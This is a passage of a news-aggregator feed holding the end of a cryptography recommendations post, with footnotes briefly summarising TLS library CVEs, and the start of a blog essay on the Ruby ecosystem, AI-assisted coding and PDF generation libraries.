data-footnote-ref&gt;26&lt;/a&gt;&lt;/sup&gt; &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-27&quot; id=&quot;fnref-27&quot; data-footnote-ref&gt;27&lt;/a&gt;&lt;/sup&gt;), offbeat TLS libraries, OpenSSL before version 3.5 (the first with X25519MLKEM768), any OpenSSL if you can, TLS 1.0–1.1, TLS 1.2 if you can, rolling your own ACME client.&lt;/p&gt;
&lt;h3&gt;Online backups&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;restic&lt;/strong&gt; with a long random password.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Percival, 2009&lt;/em&gt;: Tarsnap.&lt;br /&gt;
&lt;em&gt;Ptacek, 2015&lt;/em&gt;: Tarsnap.&lt;br /&gt;
&lt;em&gt;Latacora, 2018&lt;/em&gt;: Tarsnap.&lt;br /&gt;
&lt;em&gt;Latacora, 2024&lt;/em&gt;: Tarsnap.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/restic-cryptography/&quot;&gt;I checked restic’s encryption a very long time ago&lt;/a&gt; and it was slightly weird but good. Fully symmetric, so it’s not scared of quantum computers. Doesn’t look like anything changed since. If you need cloud storage, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rsync.net/products/restic.html&quot;&gt;rsync.net has a “secret” plan for restic users&lt;/a&gt;, and they support &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rsync.net/resources/notes/2025-q4-rsync.net_technotes.html&quot;&gt;an append-only mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We all love Tarsnap, and I feel like I am betraying my elders right now… but its asymmetric cryptography layer is all RSA. &lt;em&gt;Technically&lt;/em&gt;, I think the only things that truly break are the lower-capability keys: a write-only key can decrypt archives and a read-only key can forge archives. Server authentication is HMAC, and the RSA public keys are never sent to the server. In that sense, Tarsnap is as secure as restic, which is an impressive feat for a 2008 design. However, this feels like a major footgun with impending quantum computers.&lt;/p&gt;
&lt;h2&gt;The picture&lt;/h2&gt;
&lt;p&gt;Kinda incredible that you can just walk up to this thing.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://assets.buttondown.email/images/cc14aaa4-8914-48a4-9b5d-83f0ed53dd7a.jpeg?w=960&amp;amp;fit=max&quot; alt=&quot;The Colosseum, at night, pictured from the ground looking up.&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Follow me on Bluesky at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bsky.app/profile/filippo.abyssdomain.expert&quot;&gt;@filippo.abyssdomain.expert&lt;/a&gt; or on Mastodon at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://abyssdomain.expert/@filippo&quot;&gt;@filippo@abyssdomain.expert&lt;/a&gt;.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;FIPS 140 still has some very ugly bits around module validation (runtime self-tests, the integrity check, and the worsening RNG mess) but the actual cryptography algorithms these days are “good, actually.” &lt;a href=&quot;#fnref-1&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-2&quot;&gt;
&lt;p&gt;You might read that GCM can take 128-bit nonces, but when you do that it doesn’t have a separate CTR counter anymore, and messages with different GCM nonces can end up sharing CTR keystream, which makes the analysis more complicated. &lt;a href=&quot;#fnref-2&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-3&quot;&gt;
&lt;p&gt;Full disclosure: XAES-256-GCM is my design, but there are now multiple third-party implementations, including as part of Google’s Tink libraries, there’s &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://eprint.iacr.org/2025/878.pdf&quot;&gt;a security analysis by Amazon Web Services&lt;/a&gt;, and it’s &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://learn.microsoft.com/en-us/industry/healthcare/dragon-copilot/sdk/ambient/security-guidance#encryption-at-rest&quot;&gt;used by Microsoft in an official SDK&lt;/a&gt;. &lt;a href=&quot;#fnref-3&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;3&quot; aria-label=&quot;Back to reference 3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-4&quot;&gt;
&lt;p&gt;Again, full disclosure, this is my design, but it’s adopted externally enough that I feel comfortable recommending it. &lt;a href=&quot;#fnref-4&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;4&quot; aria-label=&quot;Back to reference 4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-5&quot;&gt;
&lt;p&gt;On 64-bit machines, SHA-512/256 and SHA-512 should be faster than SHA-256 thanks to their larger block size, except right now hardware support for SHA-256 is more widespread, so SHA-256 is faster in practice. They are both fast, so you probably don’t care. &lt;a href=&quot;#fnref-5&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;5&quot; aria-label=&quot;Back to reference 5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-6&quot;&gt;
&lt;p&gt;Partially because of choices NIST made to make SHA3-256 strictly as secure as SHA-256, even where SHA-256 was overkill. SHA-256 and SHA3-256 have 128 bits of collision resistance and 256 bits of second preimage resistance. It’d be enough to have 128 bits of both, which is what you get from 256 bits of SHAKE128 output. Unfortunately, it doesn’t have a SHA name. TurboSHAKE128 (RFC 9861) would be even better, but it is neither FIPS 140 nor widespread. &lt;a href=&quot;#fnref-6&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;6&quot; aria-label=&quot;Back to reference 6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-7&quot;&gt;
&lt;p&gt;People outside the FIPS 140 circle of hell don’t seem to have noticed, but new NIST rules require FIPS 140 modules to have an “internal” entropy source now. If your FIPS 140 “module” is a piece of software… what do you do? Everyone’s answer is “CPU jitter”: run a tight loop that accesses uncached memory and take high-resolution timestamps, hoping the frequency mismatch between CPU and main memory will make the measurements unpredictable. IMHO, this is the worst part of FIPS 140 since the module integrity hash, and it will hurt people. The one sane way to do it is to go through the motions, and then at the last moment mix the result with kernel entropy, like Go does. However, that’s &lt;em&gt;harder&lt;/em&gt; to justify to the validation labs than doing just CPU jitter, so I’m afraid we’ll see pure CPU jitter in production a lot. &lt;a href=&quot;#fnref-7&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;7&quot; aria-label=&quot;Back to reference 7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-8&quot;&gt;
&lt;p&gt;Argon2id parameters mostly do what you’d imagine, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/the-scrypt-parameters/&quot;&gt;scrypt parameters do not&lt;/a&gt;. &lt;a href=&quot;#fnref-8&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;8&quot; aria-label=&quot;Back to reference 8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-9&quot;&gt;
&lt;p&gt;A link with an opaque random token that logs in the opening browser is very hard to phish. A link that logs in the browser that &lt;em&gt;started&lt;/em&gt; the login is very easy to phish. Short numeric codes are moderately easy to phish. (You can get the best of both worlds by using the Broadcast Channel API to pass the token from the new tab to the original one.) &lt;a href=&quot;#fnref-9&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;9&quot; aria-label=&quot;Back to reference 9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-10&quot;&gt;
&lt;p&gt;In a different venue I said a serious engineering community would have a post-mortem about having wasted two of the five years we had for the transition to post-quantum cryptography, only to produce specs that changed &lt;em&gt;nothing&lt;/em&gt; compared to what we had in 2024. But that’s for another time. &lt;a href=&quot;#fnref-10&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;10&quot; aria-label=&quot;Back to reference 10&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-11&quot;&gt;
&lt;p&gt;Again again, full disclosure: my design, but pretty uncontroversial pick. &lt;a href=&quot;#fnref-11&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;11&quot; aria-label=&quot;Back to reference 11&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-12&quot;&gt;
&lt;p&gt;I truly don’t understand why my predecessors recommended NaCl’s box. It’s an &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/nacl-api/&quot;&gt;incredibly sharp and low-level API&lt;/a&gt;, pretending to be a high-level safe API. &lt;a href=&quot;#fnref-12&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;12&quot; aria-label=&quot;Back to reference 12&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-13&quot;&gt;
&lt;p&gt;One last time, full disclosure: I am a crypto/tls maintainer. &lt;a href=&quot;#fnref-13&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;13&quot; aria-label=&quot;Back to reference 13&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-14&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-13777&quot;&gt;CVE-2020-13777&lt;/a&gt;, GnuTLS 3.6.4–3.6.13: the session ticket key is all zeroes, breaking confidentiality in TLS 1.2 and allowing authentication bypass in TLS 1.3. &lt;a href=&quot;#fnref-14&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;14&quot; aria-label=&quot;Back to reference 14&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-15&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-45199&quot;&gt;CVE-2023-45199&lt;/a&gt;, Mbed TLS 3.2–3.4: pre-auth remote code execution via an oversized key share in the TLS 1.3 handshake. &lt;a href=&quot;#fnref-15&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;15&quot; aria-label=&quot;Back to reference 15&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-16&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-34873&quot;&gt;CVE-2026-34873&lt;/a&gt;, Mbed TLS 3.5.0–4.0.0: TLS 1.3 session resumption allows client impersonation. &lt;a href=&quot;#fnref-16&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;16&quot; aria-label=&quot;Back to reference 16&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-17&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-25835&quot;&gt;CVE-2026-25835&lt;/a&gt;, Mbed TLS 2.18.0–3.6.5 and 4.0.0: the RNG state is cloned across fork, so parent and child produce the same random values. &lt;a href=&quot;#fnref-17&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;17&quot; aria-label=&quot;Back to reference 17&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-18&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-5194&quot;&gt;CVE-2026-5194&lt;/a&gt;, wolfSSL 3.12.0–5.9.0: signatures by ECDSA certificates can be forged by providing an ML-DSA or Ed25519 signature algorithm identifier and a trivial ECDSA signature over the zero-length digest. &lt;a href=&quot;#fnref-18&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;18&quot; aria-label=&quot;Back to reference 18&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-19&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-5501&quot;&gt;CVE-2026-5501&lt;/a&gt;, wolfSSL through 5.9.0: the OpenSSL compatibility layer skips the leaf’s signature check when any valid end-entity cert is supplied as an “intermediate.” &lt;a href=&quot;#fnref-19&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;19&quot; aria-label=&quot;Back to reference 19&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-20&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-11310&quot;&gt;CVE-2026-11310&lt;/a&gt;, wolfSSL 5.8.4–5.9.1: the OpenSSL compatibility layer lets caller-supplied untrusted intermediates act as trust anchors. &lt;a href=&quot;#fnref-20&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;20&quot; aria-label=&quot;Back to reference 20&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-21&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-11999&quot;&gt;CVE-2026-11999&lt;/a&gt;, wolfSSL 5.7.4–5.9.1: the OpenSSL compatibility layer accepts any chain longer than the maximum path depth of 100, without reaching a trust anchor. &lt;a href=&quot;#fnref-21&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;21&quot; aria-label=&quot;Back to reference 21&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-22&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-55960&quot;&gt;CVE-2026-55960&lt;/a&gt;, wolfSSL 5.6.4–5.9.1: a raw public key is always accepted in place of a certificate, bypassing authentication. &lt;a href=&quot;#fnref-22&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;22&quot; aria-label=&quot;Back to reference 22&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-23&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-93302&quot;&gt;CVE-2026-93302&lt;/a&gt;, wolfSSL 5.3.0–5.9.2: trusted-peer certificates are matched by name rather than public key. &lt;a href=&quot;#fnref-23&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;23&quot; aria-label=&quot;Back to reference 23&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-24&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-89136&quot;&gt;CVE-2026-89136&lt;/a&gt;, wolfSSL 5.6.0–5.9.2: clients still accept an unsolicited raw public key from the server, bypassing authentication. &lt;a href=&quot;#fnref-24&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;24&quot; aria-label=&quot;Back to reference 24&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-25&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-89135&quot;&gt;CVE-2026-89135&lt;/a&gt;, wolfSSL 5.8.4–5.9.2: a failed chain verification in the OpenSSL compatibility layer permanently adds the attacker’s CA to the trust store used by native TLS, OCSP, and CRL checks. &lt;a href=&quot;#fnref-25&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;25&quot; aria-label=&quot;Back to reference 25&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-26&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-34580&quot;&gt;CVE-2026-34580&lt;/a&gt;, Botan 3.11.0: an end-entity certificate whose DN matches a trusted root is accepted as if it were that root. &lt;a href=&quot;#fnref-26&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;26&quot; aria-label=&quot;Back to reference 26&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-27&quot;&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-34582&quot;&gt;CVE-2026-34582&lt;/a&gt;, Botan before 3.11.1: TLS 1.3 servers process application data before Finished, so a client can skip Certificate, CertificateVerify, and Finished entirely, a full client authentication bypass. &lt;a href=&quot;#fnref-27&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;27&quot; aria-label=&quot;Back to reference 27&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:2b83d187b02ab55e7795fb2808511c787fd9f735</id>
    <title type="text">Living in the Weimar era of Ruby</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-12-living-in-the-weimar-era-of-ruby/"/>
    <link rel="via" type="text/html" href="https://blog.julik.nl/2026/10/the-weimar-of-ruby"/>
    <published>2026-10-12T10:59:26+00:00</published>
    <updated>2026-10-12T10:59:26+00:00</updated>
    <author>
      <name>blog.julik.nl by julik</name>
    </author>
    <category term="news"/>
    <category term="ruby"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Much has been said about the DHH keynote that he gave at RailsWorld. To me, it was the voice of a person in an existential crisis, but also a very jaded one. “Look how I don’t care anymore, and you should not care either” is not a great message when you are &lt;em&gt;the&lt;/em&gt; headline speaker at the conference - let’s call it CareConf - that you have, yourself, lobbied for.&lt;/p&gt;
&lt;p&gt;The message from the supreme leader was clear: we vibe-rewrote HEY in a more performant way, it worked great, we neither need nor care about Rails anymore. I honestly believe that, instead of amassing even more applause via vitriolic truth-bombing, he could have just left the toy he no longer loves - including its community - in peace.&lt;/p&gt;
&lt;p&gt;But here is the thing: the rich and famous losing interest in the good stuff does not oblige the rest of us to. If anything, it frees up the room.&lt;/p&gt;
&lt;p&gt;🧭 I am currently available for contract work. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://stanquette.nl/hire&quot;&gt;Hire me&lt;/a&gt; to help make your Rails app better!&lt;/p&gt;
&lt;p&gt;I must admit that for a few days I felt very depressed about it all. Not about “AIs writing all the code” - that much is clear to me, and I do not lament the changing landscape of the &lt;em&gt;craft&lt;/em&gt; - I do lament the landscape of &lt;em&gt;usage&lt;/em&gt;, which is a topic for another article. It is abundantly clear that the LLMs are here to stay, that typing every single line by hand is no longer sustainable, and that the scales have shifted profoundly. What made me depressed was just how little care there was about the Ruby ecosystem and community, and the disdain with which David flushed the entire Rails and Ruby culture down the drain for the sake of “running it on a single Raspberry Pi”, as he put it.&lt;/p&gt;
&lt;p&gt;What I am actually observing is something different: a renaissance, even though quite a few prominent Rubyists have moved on to other stacks - which are now much more open to exploration, as you don’t have to write all that… gunk - let’s call it what it is - by hand. A detailed unpack of 7 little-endian integers is not particularly interesting, nor artistic - it’s just gunk, and I won’t miss it. Unless struct packing is needed to make it fast, but then we can always art-direct additionally.&lt;/p&gt;
&lt;p&gt;There was an interesting time in German history, right between the two World Wars - the “interbellum”, the time of the Weimar Republic. It was very turbulent, and a lot of it wasn’t pretty in the slightest - social difficulties, unemployment, incredible inflation, squalid living conditions, the emergence of the wildest movements, cabarets and cults imaginable… but there was also something else. The “Roaring Twenties” of Weimar Germany also produced an incredible number of great, whimsical, fascinating artistic movements. From the Bauhaus to the Berlin gay cabarets, from Kurt Weill to Fritz Lang’s &lt;em&gt;Metropolis&lt;/em&gt; - it was a booming time, and a lot of what appeared then is still valued and cherished today.&lt;/p&gt;
&lt;p&gt;And it was a technological boom as well - the ever more widespread use of electricity, the large-scale deployment of modern pharmaceuticals, the subways, the automobile… fascinating times.&lt;/p&gt;
&lt;p&gt;I know how that era ended, and no - that is not the part of the analogy I am after. The part I am after is this: the old order had lost interest, nobody was in charge, the ground was shifting under everybody’s feet - and &lt;em&gt;that&lt;/em&gt; is precisely when the most interesting work got made. Great turmoil, great industrial change, no adult supervision. Sound familiar?&lt;/p&gt;
&lt;p&gt;And the Ruby community has always been artistic, as early as the work of _why. Aesthetics were, after all, what drew a lot of people into Rails. The fact that you didn’t need the parentheses. The fact that thingswerenotwritteninoneword as if invented by a Dutchman, that there was no “this is an attribute and this is a method” confusion… a lot of things about the language were just aesthetically brilliant.&lt;/p&gt;
&lt;p&gt;And with the abundance of new tooling, the right mindset to look at the state of the ecosystem is this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You are right but it also feels short-sighted? You have the most powerful tool you ever had, you have become a 1000x maker, and you can&#39;t think of how to make your stack 10x better?&lt;/p&gt;
&lt;p&gt;Yes, Rust is fast, the type system catches bugs, but there is so much beyond it.&lt;/p&gt;
&lt;p&gt;* Why not make Ruby 10x faster?&lt;br /&gt;
* Why not make Ruby (and therefore Rails) really great at concurrency?&lt;br /&gt;
* Why not add a banging type system to Ruby that can provide guarantees beyond Rust?&lt;br /&gt;
* Why not embed SQLite3 into Rails with a replication protocol so you can really compress the stack beyond a single server?&lt;br /&gt;
* How to preemptively fix most bugs from the most critical parts of Rails, such as database pools?&lt;/p&gt;
&lt;p&gt;Yes, who cares about ActiveSearch, but there are so many ways we can fundamentally improve our stacks that go beyond asking the agent to just crap out code. Phoenix is still the only framework that ships with presence, because it turns out it is deceptively a hard problem to solve correctly, but somehow all issues are solved?&lt;/p&gt;
&lt;p&gt;I understand some folks have no interest in doing any of the above, and that&#39;s fine, but then at least pass the baton to the people who want to do exactly that.&lt;/p&gt;
&lt;p&gt;PS: I say all of this with love ❤️&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/josevalim/status/2103751481757216781&quot;&gt;September 26, 2026&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why, of all the things we now &lt;em&gt;can do&lt;/em&gt; in Ruby, do we choose to do Rust vibe-rewrites? Of course, the story goes, all of those apps we have will just magically transform into accelerated, opaque binary blobs of SIMD goodness - with the LLMs translating our every decision, explicit or implicit, with the rigours of comparison testing (or by reading tea leaves matrix coefficients). Why even spend precious tokens on improving the gardens we already live in if you can raze them to the ground and replace them with glorious concrete?&lt;/p&gt;
&lt;h2&gt;But of course nobody ever does that&lt;/h2&gt;
&lt;p&gt;And, luckily, the razing and replacement is not the only thing that is happening. Otherwise the story would be all too sad.&lt;/p&gt;
&lt;p&gt;See, there was a sizeable number of problems with the Ruby runtime and the “scene” that were, technically, just “too much”.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It would be a pain to generate a PDF with layout - there were no libraries&lt;/li&gt;
&lt;li&gt;You could no longer build native GUI applications - there were no libraries&lt;/li&gt;
&lt;li&gt;You could not easily produce native gems - unless you were prepared to spell out the hundreds of &lt;code&gt;ubf_unblock&lt;/code&gt; and &lt;code&gt;INT2FIX&lt;/code&gt; with exquisite precision…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of these were &lt;em&gt;shitty&lt;/em&gt; problems. They were just too much for even a team of 3 to take on, and sometimes even more people would not have been enough. The barrier to getting them into applications - even if we had them - was high, as release cycles on Rails apps were not that quick at most companies. And a lot of people would just throw up their hands in desperation and utter The Spell Of Dread:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nobody does this sort of thing with Ruby anyway.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The playbook of the incantation of The Spell Of Dread is, as we all remember, that right after we chant “Rails developers are hard to hire”, whereupon all the people hating Ruby get to do a little dance confirming them to be right.&lt;/p&gt;
&lt;p&gt;But right now, the equation has changed dramatically. Let me give you a simple example.&lt;/p&gt;
&lt;h2&gt;One does not simply generate an invoice&lt;/h2&gt;
&lt;p&gt;One of the typically shitty problems with Ruby has been PDF generation. As recently as 18 months ago, a Rubyist willing to produce PDF files from their Rails app would be facing a choice of a number of options, all equally unappealing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Run &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gotenberg.dev&quot;&gt;Gotenberg&lt;/a&gt; to have a Chromium render the HTML, then transform it into PDF&lt;/li&gt;
&lt;li&gt;Use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/rubycdp/ferrum&quot;&gt;Ferrum&lt;/a&gt; to spin up a local Chromium and do the same&lt;/li&gt;
&lt;li&gt;Use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/prawnpdf/prawn&quot;&gt;Prawn&lt;/a&gt; and fight its nearly per-character manual coordinate placement&lt;/li&gt;
&lt;li&gt;Use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/wkhtmltopdf/wkhtmltopdf&quot;&gt;wkhtmltopdf&lt;/a&gt;, which was abandoned nearly four years ago, and wrestle with building it and its requisite dependencies&lt;/li&gt;
&lt;li&gt;Use &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://hexapdf.gettalong.org&quot;&gt;hexapdf&lt;/a&gt; and be prepared to license it commercially due to the rules of the AGPL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prawn was great back in the day, but very challenging - primarily because it mandates nearly full &lt;em&gt;manual&lt;/em&gt; layout, without any proper metrics or composer features. A &lt;em&gt;composer&lt;/em&gt; is the engine that helps you place and balance typeset characters so that they fit into a pre-sized block. Sometimes, you also want to adjust that block so that your layout looks better - something that CSS actually excels at. And you want hyphenation and SVG output too…&lt;/p&gt;
&lt;p&gt;While Cursor and other “first wave” AI tools made wrestling Prawn somewhat more pleasant, it was still a long way from “easy” - in all aspects.&lt;/p&gt;
&lt;p&gt;That’s the very definition of “doing X sucks in Ruby”, and it would be a fair argument to not use the platform at all - for some. Or for running extra microservices (or gigaservices, as any Docker image with Chromium inside should rather be named, given its size).&lt;/p&gt;
&lt;p&gt;Now - fast forward to this September. In the span of just a few months we have not one, but two &lt;em&gt;excellent&lt;/em&gt; libraries for generating PDFs.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/waka/sghtmltopdf&quot;&gt;sghtmltopdf&lt;/a&gt; by Waka creatively reimagines wkhtmltopdf by replacing its WebKit heart with a vibed Rust-based layout engine built on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://servo.org&quot;&gt;Servo&lt;/a&gt; crates, which supports a significant subset of CSS layout directives - and a tasty dose of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/typst/typst&quot;&gt;Typst&lt;/a&gt;-originating Rust libraries for font handling, metrics, line composition… I was able to move my entire invoice generation to it from Ferrum in about an hour. Initially it had some rough edges, but it took the community about a week to sand them away, and it became great. Not “manual certificate layout of 3 text blocks” great, but a genuine “6 page invoice with tables, blocks, and vector graphics” great, with the generation of 